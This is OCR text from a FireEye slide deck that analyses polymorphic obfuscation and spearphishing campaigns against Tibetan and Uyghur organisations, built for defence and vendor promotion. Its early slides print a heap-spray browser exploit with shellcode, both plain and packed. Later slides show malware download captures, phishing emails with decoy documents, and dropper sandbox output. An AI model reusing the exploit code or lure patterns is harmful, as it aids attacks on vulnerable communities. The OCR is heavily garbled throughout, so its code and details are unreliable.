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and why it isn't needed in targeted attacks
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As We've Heard...

 Polymorphism is effectively used in
“drive-by” exploits, Email centric
attacks, and also in subsequent
payloads downloaded once the criminal
has a foothold

« But for single target attacks, this is
unnecessary
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Polymorphic JavaScript Obfuscation

« Exploits are easy to detect if they are static...

var heapSprayToAddress=0x05050505;var payLoadCode=unescape("%uEBFC%
u0044%u0000%u458B%u8B3C%u057C%u0178%uBBEF%u184F%uSFBB%u0120%
u49EB%u348B%u018B%u31EE%uU99C0%u84ACY%u74C0%uC107%u0DCA%Y
uC201%uF4EB%u543B%u0424%uES75%uSF8B%u0124%u66EB%u0CB8B%u8B4B%
u1C5F%uUEBO1%u1C8B%u018B%uB89EBY%u245C%uC304%uC031%uBB64%
u3040%uC085%u0C78%u408B%u8BOCY%u1C70%u8BAD%u0B68% u0SEB%uB08B%
u00B0%u0000%u688B%usF3C%uF631%ub660%uF889%uC083%ub07B%u7EGB%
uE2D8%u6873%uFES8%uU0EBA%Y% UFF57%uB3ET%uBC61%u0063");var
heapBlockSize=0x400000;var payLoadSize=payLoadCode.length*2;var
sprayslideSize=heapBlockSize-(payLoadSize+0x38);var spraySlide=unescape("%
u9080%u9090");spraysSlide=getSpraySlide(spraySlide,spraySlideSize ), heapBlocks=
(heapSpray ToAddress-0x400000 )heapBlockSize;memory=new Array(),for
(i=0;i<heapBlocks;i++ {memory[i]=spraySlide+paylLoadCode}function getSpraySlide
(sprayslide,spraySlideSize ){while(spraySlide length*2<spraySlideSize {{spraySlide
+=sprayslide}spraySlide=spraySlide.substring(0,spraySlideSize/2);return spraySlide}
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Exact Same Exploit — More Obfuscation

= Cyber criminals use polymorphic packers

= Packer software rolls up malware into a single package that has
the ability to make its "signature" mutate, evading typical detection

eval(function(p,a,c,k,e,d {e=function(c{return(c<a?".e(parseint(c/a)))+((c=c%a)
>3575tring.fromCharCode(c+29).c.toString(36))};if(1" .replace(/"/,String ) Ywhile{c--{d
[e(c)]=k[c]||e(c)}k=[function(e {return d[e]}];e=function({retum™\w+"};c=1},while(c--)
{if(k[c] {p=p.replace(new RegExp("\b'+e(c)+"\b','g"),k[c])}ireturn p}'3 |=F;3 6=e("%G
%eH%B8%EY%D%A%B % C %1% % J% PY%z%h% R %0 %N% K% L% M%S%w5%I%m%n%
0%k %p Yoy %eqYexYevioh %u%ries %et% Q% L% 1h%1i%19% 1% 1c% 1d% 1k% T%1]
%10%8%1q9%1r%e1p%11% Tm%1n%1e%1a%1b%10% Y % X% U% V% W%11");3
5=9;3 a=6.g"2;3 4=5-(a+12);3 1=e("%d%d");1=c(1,4);b=(j-9)/5;7=18 19();17
(i=0;i<b;i++{7[i]=1+6}116 c(1,4){13(1.g*2<4)}{1+=1}1=1.14(0,4/2);15 1}',62,90,'|
sprayslide||var|sprayslideSize|heapBlockSize|payLoad Code|memory|u0000|
0x400000|payLoadsize|heapBlocks|getSprayslide|u9090|unescape|uSF8B|length|
u018B||heapSpray ToAddress|u66EB|u543B|u0424|uEST75|u0124|u0CBB|u1CSF|
u245C|uC304|uC031|uBSEB|u1CEBB|uF4EB|uEBO1|uBB4B|u348B|u057C|ul178|
uBBEF|uBB3C|u458B|0x05050505|uEBFC|u0044|u184F|u0120|u74C0|uC107]|
uODCA|uB4AC|u99C0|u49EB|uBBE64|u31EE|uC201|u0SEB|uFF57|uB3ET|uBCH1|
uDEBA|uFE98|u3040|u6873|ul063|0x38|while|substring|return|function|for|new|
Array|ufEGB|uEZDS8|u1C70|uBBAD|uS07B|uBBOC|u408B|uC085|u0CT8|uB0BB|
u0868|us660|uF889|uC083|u00BO|uFE31|uBBB8B|uSF3C . split("|"),0.{}))
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Repacked in Each Session (Polymorphic)

eval(function(p,a,c k,e,d{e=function(c){return{c<a?".e(c/a))+String.fromCharCode
(c%a+161)};if(!".replace(/*/,String ) {while{c--{d[e(c)]=k[c]||e(c)}k=[function{e ){return
d[e]}];e=tunction(){return’[\xa1-\xff]+"},c=1};while{c-- {if{k[c] {p=p.replace{new
RegExp(e(c),'g").k[c])}}retumn p}'¢ §=C.:¢ 0=C("%E%E% %L %A%A%A%AYKE

% « % E%NY%AY%®%D %I[%1%1%I%0%A %% Yo u% Yo %, %1% %% ¢, %% V2% » Ye®%
¥%%%2%0%+%1%i %8 %8 %% e % 0 %E%i1%i%06% "% %D %0 % 8% % 0% &% a% U
%U%U%D%0%0%x%U");¢ ¥="¢ 3=n.1+*2;¢ £=¥-(3+Y):¢ ;=0("%\%.");i= (j.£);°=
(§-)¥.-=a a();a(i=0;i<";i++ {-li]=j+m}a (i ENP(j-+"2<ENj+={}i=i.B(0,£/2);a i},

87,87, 'sprayslide|var|spraySlideSize|paylLoadCode|heapBlockSize|uS090|
heapSpray ToAddress|u0000|unescape|paylLoadSize|uSFBB|0x400000|memory|
u018B|getSprayslide|heapBlocks|length|uC304 |u245C|luEST5|u0424|uF4EB|
ud43B|u0124|u66EB|u1CSF|u1CBB|uBSEB|UEBO1|u0C8B|uBB4B|uC201|u348B|
u057C|u0178|uBBEF|uBB3C|ud458B|0x05050505|uEBFC|u0044|u184F|u0120|
uB4AC|u74C0uC107|u89C0OIu31EE|u48EB|uC031|u0DDCA|uBBAD|uFFS7|uB3ET|
u6Co1|uOEBA|UFESB|UEZDS8|u6B73|u0063|0x38|while|substring|retum|function|for|
new|Array|u7EG8|uS07B|uBBOC|u1C70|u0868|u408B|u0C78|u3040|uC085|u0SEB|
uB08B|uS660|uF889|uC083|uF631|uSF3C|u00B0|jueB8B|u8B64 .split(’|'),0,{}))
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Payload Polymorphism

Malware Binaries

MdS5sum

Protocol Encoding

TCP (80) HTTP

dst analysis time

¥ (bcd3ad4a38e89d86044fcob2dabde3bl10 06/25/11 12:08:58

D Protocol Proto Hegde

23767 TCP (80) ET /showthread.php?t=372185 RATTP/1.1
Accept: */*

UA-CPU: xBS
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible;

SIE 7.0; Windows NT 6.0; GTB7.0; S5LCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322;|.MET CLR 3.5.30729; .NET CLR 3/0.30618)

HTTP/1.1 200 QK

Server: nginx

Date: Wed, 29 Jun 2011 16:06:02 GMT
Content-Type: application/octet-stream
Connection: keep-alive

X-Powered-By: PHP/5.2.17

Expires: Mon, 26 Jul 1357 05:00:00 GMT
Cache-Control: no-cache

Pragma: no-cache

Accept-Ranges: bytes
Content-Transfer-Encoding: binary
Content-Length: 135168
Content-Disposition: inline; filename=windows-update-sp3-kb86324-setup.exe

b 95d76d6e0fd0024ea5798c1131ef1d8e TCP (80) HTTP 06/29/11 12:03:52
b 44d355eb56aed475dco8fafdd27 32047 TCP (30) HTTP 06/29/11 12:04:55
¥ “£924398beee75a5f309b7cd72e3cd54a TCP (80) HTTP 06/25/11 12:06:21

Download malware binary

D Protocol Proto Header

23766  TCP (80) GEFshowthread.php?t=372185 HTTP/1.1
fccept: */*

UA-CPU: xBS
Accept-Encoding: gzip, deflate
User-Agent: Mozillaf4.0 (compatible;
Host: wusrhyg.co.cc

SIE 7.0; Windows NT 6.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .MET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)

Server: nginx
Date: Wed, 29 Jun 2011 16:03:53 GMT
Content-Type: application/octet-stream
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Polymorphism

6bT4acaabceefb0aT733c64e4 7923045
0f3ecf9bbb830e5951966e61d0d31%aa
alf02kb4908edd0dlaleactballidafcad
27el76T7dT7al3d546b5eT5c95e86767de
al5e8ed4cTdbl1T7a9961201909cal86e
Teged4b6cdflZbe8058aeasSesccid4elsz
T7279772b1bEc8f 08444487 6259220£22
ba%68c5338c05c90ecs2fd4ebf0sldfa
ae9ccibbB8cfe6la3f232p41846£311 3
Scfc546f72924948b3c2e826Tabbdeg s
69eb8ffceeccicdb5163badfo86489%e
1201190c54ef013e5aclalcce2cbi247
f5T7E9fdef9f08alcabETfd21cfSE0963
61110d458edcad4f019c04968b18%e1d
feeT0T1b6E8230d2629d791f6ac01350E
bafdfd8a5a%9cdfTf05el19Tb8bd53c1T
399237cT7de8alb864327446605632B55
ceel530720df066b9f22edceadealhbse
219200d6c8f4909ad4538de23987£ddo
l4efeSecb8980a21d44bb8d61340cds2
13efef3175c805a03cef8aa8239432a2
£509904cTb0d45d00c88e606d2010a64
d83c0T7T8f1148d137TE693800d53Tce3d
3bedb4beccT9T7ddeE£607384178babdEf
Ocal990e6d44ebf52029d6ce901bE301
13efef3175c805a03cefBaa%239432a2
fe3ef9aTbc6f54Ta6dE315b199E736e8
8b%b6f7829133dd17d310b2cEf05c4912
52d0eecTf56d569565442aT238f6387b
6a8lbf27d5e8a97498254eckhb8baTi92e
3f3889671719070527739797bc4b2f4a
TE£5£747485863efebd4bf99c3el25c627
d49586£82523d01e340d48fdc374430e
c8b2d542931bf2613d5e30c416984cac
dé4a6clafdaf0fciad4cedfaaeTTci4f9ead
fb908c3ead4dd25d45bibec292fec98a44
60199cEf3lcdceb?3iTleaaaZ7ebi8fald
8b3cebbbaBe867514cabbd3d03££918e
2c32elz4T72aldbecl8s63a0£3000ckbac
OdelSe2c063462097e2242dadle37eal
222T7eed4d5f52b3T63a2e3145E52200b3
S936daZ4cefeTh982T7c98cc312397a24d
688828fa66ll8cTaabsTe42027T7167as
9012748f3b5618cd063288804ee0456a
0dc2351d2958631098ab6lcadll84e83
37kl13chbaelfSbhas2adTodd5881657d48
T7dd32d945cTedeb97cll19e9fc550eb24
0lz24eflbocce3669abed240226£907944
371dbl&4ecfT6abb4355ccafa862b3dd
ede5c3ff204f6914d12d8283192=efFf84
2Zb422049d60ecb4eddZc09feles559ab2
Sk6e2bl0d0429%c2adledef290d45deflel

35210.pdf
1075289 .pdf
5527670 .pdf
4110733 .pdf
T585667.pdf
342505.pdf
30273.pdf
56891 .pdf
98922 .pdf
2086574 .pdf
13766.pdf
5264352 .pdf
55610.pdf
821349.pdf
607033 .pdf
87944.pdf
5546412 .pdf
162669 .pdf
257728 .pdf
9704918 .pdf
List.pdf
173583 .pdf
325307 .pdf
4118821 .pdf
791543 .pdf
List.pdf
0662191 .pdf
20680.pdf
8793835.pdf
T902787.pdf
T7407.pdf
06474.pdf
0721176 .pdf
21790.pdf
24368 .pdf
21488.pdf
43203.pdf
4697699 . pdf
4362816 .pdf
243199 .pdf
TOT355.pdf
138790 .pdf
46002 .pdf
8770548 .pdf
3064850 .pdf
0167488 .pdf
61295.pdf
6305449 . pdf
171411 .pdf
T266T74.pdf
03902 .pdf
04217.pdf

Exists for Email Attachments Too

2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
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129
$35:
136
$39:
146
:01:
12
126
127
127
127
142
142
142
HETH
:54:
1259:
$30:
133
$35:
11
12
118:
135:
138
:55:
:55:
156
H-1-H
:04:
140:
145:
147
156
HE=
157
12
129
:50:
154:
$11:
$15:
16
H
16
(17
H
(17
H
(17
:18:

L137721
39.
19.
239.
0zZ.
33.
50.
0z2.
1z.
0z2.
1z.
3z2.
21.
21.
32.
1z.
58.
14.
30.
45.
03.
24.
25.
0g.
49.
13.
15.
49,
20.
41.
22.
47.
48.
48.
32,
1z.
28.
46.
1z.
40.
26.
7.
27.
39.
39.
59.
0g9.
0g9.
13.
19.
239.
49.

196529
918489
107836
856351
T57403
01726
052212
079733
337779
348831
392076
T01044
T01044
384224
577301
381337
361088
970253
714751
351129
000535
566404
65222
361739
8938357
182233
23535
210147
3511588
996135
301528
051823
401282
46817
502876
937848
693885
234221
273828
T37395
399553
754009
109496
133317
133317
1485
1485
159403
159403
37143
96525

Sbe2bl0d042962adlecdef290d5deflel
cdbflcd4blel20d2959146d8256fas2ad
Tb205824fabaladledd47f32242heb54b
223a3edB8bbi8302fcaT2cib2cTd9lfdea
37ddg8e83ceTeflT1f41c7863d23eb03f
3491c4cdcSeaiibbealddicf4lab45Sba3
b523dbe2dekf99500825del10986eefaT
S4a6bcfbd0dl15868fel183dEfTc0408a6
c4c48a281500166c8d8666ca287501d1E
6ab08fedfT79c55acflsTTbcaT752E17cT
4a389508c5075c31c3f65aT89ea5d3ab
db5fff43559d0a8dcef9868belicloab2
6524e31lec8l14933fT6E8cdcbdbef81£52
a5Taa2 fT7déb8aec31d48T7da206£T783b4
697903618d99331410982d416822ebfe
Tedb6482486eel1Ted234542c8118923a
16f430ebdSc5ldi22e8l8cafed3c2lsb
2cc97T777££39212adfTE889eboe5cae?
12473ee7d51d240db25cf0431372£243
47b07d1706a8e043f7d21e%=a4%bd3e6
4p197eTE8T7d6530047086c0E919ebf6 T
59a33df9de65e092cf8lsbf2466£452c
89526389755cT7f96beSelbbecessdlldb
1542f00868000b91a973dd8Ed72a0290
42p9d438ce637846E5303bbT7E3427543
a8f93T7ecbd0985a903c030dfb35204ad
5fdal4ce43a02ecTbbel489fT37E2el14dl
6be222b4e0fef740ce3f42eb8bfa0231
581ad0f6e0723250b74503d2b0e 98605
06d0b5e85af0384d94££f80Tbbel229c7
£7d1911132a581c32844bb3b599%dad4ce
©96993851def882eatal4dc34T4cT4a2
167199dce42b43cbl28595278£97cd48
eT7ed4e3bbaitbeel4calecic2ifad4ab2
fhcd08cbecTc20ddbe0f080e4eiac20Z3
01fT7ec50d963ba3flef0ld3ccllassca
46072d95fbab84Tcb8684dT0b0316E£EE
828f0£fd075b73Tb46546dai4c4d2bdba
0d03f24329842bddas0afaz09942d436
c64609d8bl186dcib01T744alcef0l2aZe
67e511630a0a875291d447099£151d36
ca286cf94a08ba403eb52837465E£5d55
2986dd15896a211Teefesl1983f0636bC
12320a21529182eTllcas42856ed29640
1db697T785%9e94aab9ffacaeldb6486346
684f4c360beddfe91e93758728609628
Tf4beT8b7454d1507Tcadc4f£589ebefl2
c63a3e077d743265931d535fddeeskb0c
4c46as5faa3ifisebac983a6adeT3iTIE0c
foZ2e22ac3fecll47109c4f6c801atfed
c42c24bB8b930385cT7T78d05dchbi8deaeferf

cf0c34d9b4154d452de5f10289£61179

04217 .pdf
06983 .pdf
553293 .pdf
4703656.pdf
34583590.pdf
801340.pdf
8813840.pdf
5784087.pdf
518363 .pdf
3579422 .pdf
906187 .pdf
84818 .pdf

68749 .pdf

280836.pdf
2087866.pdf
5507073 .pdf
5182285.pdf
631344 .pdf
21184 .pdf

0532814 .pdf
005961 .pdf
T57689.pdf
614393 .pdf
TE8l94.pdf

448229 .pdf
T75106.pdf
45391 .pdf

33069.pdf

TO473.pdf

4548254 .pdf
363636.pdf
386344.pdf
T814961.pdf
T268T10.pdf
670648 .pdf
206855.pdf
3439157.pdf
23508 .pdf

83245.pdf

405495.pdf
39872 .pdf

671635.pdf
6057047 .pdf
851959 .pdf
932715.pdf
21875.pdf

25314 .pdf

4982860 .pdf
194193 .pdf
T861l462.pdf
91122 .pdf

26295.pdf

2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
2012-02-15
20lz2-02-1¢
2012-02-1&
20lz2-02-1¢
2012-02-16
20lz2-02-1¢
2012-02-16
2012-02-1¢
2012-02-16
2012-02-1¢
2012-02-16
2012-02-1¢
2012-02-16
2012-02-1¢
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&
2012-02-16
2012-02-1&

.98525
t49.
:28.
t38.
=41,
01,
=11,
:21.
21,
:31.
t48.
:49.
=49,
159,
t20.
121,
06,
121,
:53.
:13.
:50.
t44,
14,
:31.
:08.
:31.
:04.
128,
:10.
:40.,
t42.
-1
t48.
38,
t37.
:18.
:18.
:5&.
t30.
=21,
t15.
=03,
22,
=39,
59,
t33.
54,
=07,
t40.
32,
44,
=45,

96525
169223
813488
751749
769399
782084
794628
794628
803168
8959799
388973
528839
698175
937072
107327
048651
358646
g00z22
350528
358643
443598
521459
584371
46177
le2964
635775
TOE8559
06834
455803
866T13
640365
187253
131382
132327
732585
732585
598906
380684
508772
264638
47184
815173
513186
108772
524993
283225
650529
943754
330484
413503
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As We've Heard...

* Polymorphism is effectively used in “drive-
by” exploits, Emall centric attacks, and
also in subsequent payloads downloaded
once the criminal has a foothold

 But for single target attacks, this is
unnecessary

)
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Target Reconnaissance Is Simple

The situation in Tibet is critical, but the Chinese are not talking ...
Dlugs.telegraph.cn.uk » News » World » Malcolm Moore

25 Feb 2009 — As it is Tibetan New Year, | thought | would post parts of an interview | did
with Kelsang Gyaltsen, the Tibetan envoy to Europe. (BTW, | hear the ...

Readers' Comments - www._phayul.com
we_phayul com/news/discussiview aspx?id=29047

& Feb 2011 — The Dalai Lama's envoy Kelsang Gyaltsen Tuesday briefed the ... Now, a
Tibetan women's foothallicaileeibontiiingeiEduidmdibion, 20110 ..

\

ibetan national football team to tour Germany in late August - The ...
www tibet netfen/index_php?id=265&articletype=flashold

Envoy Kelsang Gyaltsen's Statement on The Sino-Tibetan Dialogue: State of Play ...
voy Kelsang Gyaltsen's Statement on The Sino-Tibetan Dialogue: State of ..

Envoy Kelsang Gyaltsen In |0EvD,WUr|a Fbet News | Dalai Lama ...
mmv.uyghurnews.n:nm » World Tibet News

24 May 2009 — Envoy Kelsang Gyaltsen in Tokyo. World Tibet ... 23-May-2009 - 15th
Gyalyum Chenmo Football Gold Cup - A curtain raiser - 23-May-2009 ...

Jigmey Gyaltsen | Facebook

www facebook.com/people/ligmey-Gyaltsen/10000271063 7880

Join Facebook to connect with Jigmey Gyaltsen and others you may know. ... Others
Mamed Jigme

China urges Dalai Lama to back Olympics - Sports News, Football ...
e tlmesnfearth comfoldarc hieves S[:I-CI-I‘TS Update;mdem p-h[:l-"?'ld

)
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Tibetan Supporters are Frequent Targets

=™ B B e - Uyghur Football Survey (please join in) - Message (HTML) | = oS g
File Message 3 9
4 1gnore x = =8 | i (5 maawg 3% [ (3 Mark Unread A
. o == - LBl & | =2 oo %)
b To Manager - .;!T_l mm Categorize - %'
%Junkv Delete Reply Reply Forward B, « ) — Move Translate Zoom
Al 27 | |33 Team E-mail - - [~ | * Followup - =
Delete Respond Quick Steps ] Move Tags ] Editing foom
From: vhusde @yahoo.com on behalf of info@etaa.org.au Sent:  Fril/20/2012 10:03 AM
To: kelsang.gyaltsen@bluewin.ch
Cc
Subject: Uyghur Football Survey (please join in)

] Message; @East Turkistan football Association Volunteer,pdf (402 KB}

b

Hello,

This is Henrvk Szadziewski at the Uvghur Human Rights Project. I am doing a paper on football and identity
among the Uvghur people. I have a brief survey (in English and Uwghur) on football. I would be verv grateful if
vou took the time to complete it to help mv research. It should take no longer than five to ten minutes. The
surveyv is available here: hitp:/www.survevmonkev.com/s/'VXLLFEZ (link is safe).

Thank vou verv much.

Mining ismim Henrvk Szadziewsld, Uwvghur Kishilik Hoquqg tetgigati bilen shughullinimen Men hazir
Uwghurlardild limlik tonushi we potpul digen timida bir magala tevarlawatimen. Men potpul heqqgide gisga bir
rav sinash matervali tevarlidim (Uvghur we English tilida). Men sizleming azraq wahtingizlami chigirip. bu rav
sinash matervaligha jawap berishingizlarni umut gilimen, bu mening bu timidild tetqigatim uchun nahaveti
vardemlik bolidu. Bu ray sinashni toldurush uchun kop bolsa 5 tin 10 minutqa qeder wagit ketidu. Ray sinash
materyalini towendiki ulanmidin korelevsiz, hemde bu ulanma biheter.

http:/www_survevmonkev.com/s/ VALLFRZ

Sizge koptin-kop rehmet!

ADDRESS Wandana Community Center
14 Blacks Road

)
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Decoy Documents are the Norm

File Edit View Document Tools Window Help

= JEAGR S @@=l 3

-

ETFC FORMALLY ACC!iPTED INTO THE FOOTBALL

FEDERATION OF SA

The East Twk stan Football Club (ETFC) bas offically regstered with the Footall
Federation of South Australia for the current 2011 season

All bome matches 10 be beld at the Adelaxie Hizh School grounds on Sundays with
kxkoffat3pm And trammeg 1o be beld at our regular training grounds at Thomas

Turner reserve Vally View wih dates 1o be confirmed.

Regstations for ETFC will be closad on the 1st of April and application forms canbe
downloaded below. A passport size photo and Regstation fee of $80 requured for all
appixations

or firther informa tion please contact team captain Nasrulla on 0431 421 890
Beations Documentl ibraryMans o= Joad Amatew?e20

..... ¥ W U X 5:i26PM ye
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Initial Dropper Is Simple in Functionality

Heapspraying
Heapspraying
Heapspraying

Malicious Alert
Exploitcode

Malicious Alert

File
File

Exploitcode

File
Malicious Alert
File

APT Call

File
File

Patternfnalysis
Patternfnalysis
Allocation

Misc Anomaly

Misc Anomaly

Created

Close

Created
Misc Anomaly

Close

Created

Close

Address: 0x08480000
Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe

Address: 0x08460000
Imagespath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe

Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe
Bytes Received: 0 Total Memory: 164442112

Detail: Heap spray attack detected

API Name: VirtualAlloc Address: Ox04bs00d1
Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe DL Name: kernel32

Call Stack:
Frame No. Instruction Addr. Module Name
3 0x7c809%aeb CAWINDOWS \system32ikernel32.dll

Message: Exploit capabilities detected

CADOCUME~1IVADMINI~1NLOCALS~ 1 TemphacroRd32.exe

CADOCUME~1VADMINI~ 1YW OCALS~ 1 TempiAcroRd32.exe
MDS5: ael07eed85f991706a5946252d97d134f
SHAL: 7b4f325c435656c0d5810021df1203d34d7da7db

API Name: WinExec Address: 0x04f100f1
Params: [C:ADOCUME~1VADMINI~1\LOCALS~1\Temp\AcroRd32.exe, 0x00000000]
Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe DLL Name: kernel32

Call Stack:
Frame No. Instruction Addr. Module Name
3 0x7c8623b2 COAWINDOWS\system32ikernel32.dll
4 Ox04f100f1
5 0x009494f8

COWINDOWS\system 32 \utntweep.dll
Message: System services modified
COWINDOWS \system32\utntweep.dll
MD5: 5013348fde9e9758a9fadb56955b74ca

SHAL: 3caba24llecdccd22bdb2de5a3212d1e08037edb

API Name: WaitForMultipleObjectsEx Address: 0x77df8601

Params: [2, Ox00cefféec, 0, 300000, 1]

Imagepath: C:ADOCUME~1VADMINI~1\LOCALS~1\Temp\AcroRd32.exe DL Name: kernel32
COWINDOWS\system32\goopnet.ini

COAWINDOWS \system32\goopnet.ini
MDS5: 251006d61666b851781073562016da6f
SHALl: b310b4770e7842a1790c5c49e06ab59bc2dfb24d

Detail: New exe/dll/sys/ocx file created under WINDOWS or SYSTEM32 directories
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Callbacks Leverage Sites With Good Reputation

i M4611686018427300069-268-13-2012-01-16-221425. pvna.pcap - Wireshark - — —

File Edit View Go Capture Analyze 3Statistics Telephony Tools Help

EECY FEEXRe Aae»T2I(EE QRQaQAD @82 M % 8

Filter: tcp.stream eq2 * Expression.. Clear Apply

Mo, Time Source Destination Protocol Info
5 6.515547 10.0.0.43 199.16.199.32 TCP neodl > http [5¥YN] Seq=0 wWin=65535 Len=0 M55=1:
6 6.542977 199.16.199.3 10.0.0.43 TCP http > neodl [5¥YN, ACK] Seg=0 Ack=1 wWin=65535 I
7 6.543632 10.0.0.43 199.16.199.3 TCP neodl > http [ACK] Seg=l Ack=l Win=65535 Len=0
8 6 53?122 10.0.0.43 199.16.199. 2 HTTP GET /feed/ HTTP/1.1

Stream Content

GET /The-first-blog-bl/R55-bl-rss2-posts. htm HTTP/1.1 -
User-agent: Mozilla/5.0 (windows; U; wWindows NT 5.1; rw:1l.9.1) Gecko/20090624 Firefox/3.5 -
Accept: */®

Host: adkd.041diwve. com ‘ ‘
Connection: Keep-alive 8

[Eind”Save Es”Erint] Entire conversation (208 bytes) IZI (70 ASCO () EBCDIC ) HexDump ) C Arrays @ Raw

[ Filter Qut This Stream ] ’ Cloze

# Transmission Control Protocol, Src Port: neodl (1047), Dst Port: http (BO), Seq: 1, aAck: 1, Len: 183
=l Hypertext Transfer Protocol
GET /feed/ HTTP/1.1%r'n
User-agent: Mozilla/3.0 (wWindows; uU; windows WT 53.1; rv:1.9.1) Gecko/20090624 Firefox/3.5%r%n
Accept: */%\r\n
Host: indiaairforce2a. blog. com'r'n
Connection: Keep-aAliwve'rhin

i
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Callbacks Leverage Sites With Good Reputation

(- = | indiaairforce?t.blog.com

Q Login  Create Blog  Random Blog

Sdﬁ Search

Writing away with Blog.com

Home Sample Page

@B,9:7'VW=2?=/=46K_IHfidim?JPjHNGQpHIF + WNPdy"W @

Posted on December 24, 2011
Welcome to Blog.com.

This is your first post, produced automatically by Blog.com. You should edit or delete it,
and then start blogging!

Posted in Uncategorized | 1 Reply

)
<© FireEye

Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL




Spearphishing is Free!

A& “ & & |5 Slight change in CTA staff update of December 2011 - M. E) = A= 9 0 & » |5 Fw: Tibetan self-immolations continue and spread in Tibet int... = | C1) g
File Message & File Message A e
& GaReply 2 Create New I N3 e v a ,;; & (-4 Reply 7 Create New 1 5% - (Y Mark Unread oy .;;
f:ﬁ Reply All '—I 'QE . 'L% Reply All '—I ,';E Categarize = .
&yv Delete | G- || Move Tags | Editing  Zoom &~ Delete | G- Mave Editing  Zoom
() Forward = - 3~ - - [z Forward - 2]~ | ¥ FollowUp~ -
Delete Respond Juick Steps ] Maowe Zoom Delete Respond Quick Steps ] Mave Tags ] Zoom

@ Click here to download pictures. To help protect your privacy, Cutlook prevented automatic download of
some pictures in this message.

From: Protocol Officer, DIIR. <protocol @tibet.net> Sent:  Tue 1/3/2012 3:46 AM
To: ottaiwan

Cc

Subject: Slight change in CTA staff update of December 2011

=] Message l IEI_]CM staff new update.doc (145 KB)

To
The Representatives
Offices of Tibet

Please, find attached the internal news
Tashi Deleg and most warmly,
Kunsang Dorjee

Protocol Officer
DIIR, CTA

Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL

@ Click here to download pictures, To help protect your privacy, Qutlook prevented automatic download of some
pictures in this message.

From: Tibetan Refugee Center <reception_center @yahoo.com:> Sent: Wed1/11/2012 7:47 AM
To: chhimerigzing @dalailama. com

Cc

Subject: Fw: Tibetan self-immolations continue and spread in Tibet into 2012

= Message] IEI_]A Breaking Mews from Tibet.doc (139 KB}

¥

Office of the Reception Centers for New Tibetan refugee from Tibet
Central Tibetan Administration,

P.0 Mcleod Ganj-176219,

District Kangra,

Dharamsala, (HP) India.

Telephone: +91 1892 220077

Telefax: +91 1892 221307

—- Forwarded Message —

From: Kate Saunders <pressi@savetibet org:>

To: reception_center@yahoo.com
Sent: Tuesday, 10 January 2012 2:01 AM
Subject: Tibetan self-immolations continue and spread in Tibet into 2012

)

Tibetan self-immolations continue and spread in Tibet into 2012

ICT report, January 9, 2012
Tibetans held a vigil in a Tibetan area of Qinghai province following the self-immolation
Tibetan, Sonam Wangyval, believed to be a reincarnate lama, vesterday, according to the
Tibetan sources in exile.




And Exactly as Sophisticated as it Needs To Be....

o |5 SsEeeEmeteSsgeerege - Message (HT.. = = EE_] Al 0 e v |5 geEmeS=sdveEpesOem - Message (HTML) lilﬂlg
Message &5 e File Message & e
=N = =
. Reply 4 3 [ ] X Reply L — ot ] -
& =1 =Y & B v | a & = o [& g [ B v | a8 |
z% Reply All - v_% Reply All Eg To Manager - ] ™
&- Delete . - Quick Move = Tags Editing Zoom %- Delete . - . - Moave Tags |Editing| Zoom
i) Forward = Steps - - - - fg) Forward = ¢l Team E-mail - - 3~ - -

Delete Respond Quick Steps Zoom Delete Respond Quick Steps [} Move Foom
From: Palden Gompo <gompo.palden@yahoo.in> Sent: Wed 1/18/2012 10:15 PM @ Click here to download pictures. To help protect your privacy, Qutlook prevented automatic download of
Ta: allstaffi@ctan.org some pictures in this message.

Cc From: euhrdesk@tibet.net <tenzinlovekalsang @agmail. com = Sent: Tue 1/17/2012 7:30 PM
Subject: B R S R T g To: ottaiwan
-] Message | = |00_forTibetans10thMarch jpg (381 KB} Ce
subject: EoETaE T EemrE =9
#00_forTibetans10thMarch.doc (271 KB) I EE - TEI ....... R T ; EL‘I .........................................................................................
-] Message l 2013.doc 372 KB 2013.pdf (790 KB)
#00_forTibetans10thMarch2.daoc (219 KE) i ge | ]

£l
5;'?\1:11-’61 - ':qa'cﬁi:l’ TR oz amar WOTrdaraas Emsy 6 | = 51?5-1'%:']
i \%s\rua z-l & f=L'=n A ;"T'— TE ucv(r] ﬁ"q ﬂ\—\—-\ BNt ‘::3 I' S|
| agEEs '¥&1‘5]:rl [ Q’- ; % F=ar 5 ?:TT«'\I iﬁ';’\i—\' =
EW’N SESEL Wm"qar’ ’qé-fa IR REE EAR i—’tl Earpm A

S ERrgvEIE U

i

H
I| euhrdesk@tibet.net
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How FireEye Breaks the Attack Lifecycle

0 Known attacks & callbacks FireEye Malware

blocked in microseconds V‘f,g;“g;‘r’v”:f‘jﬁ Callback Server Protection Cloud

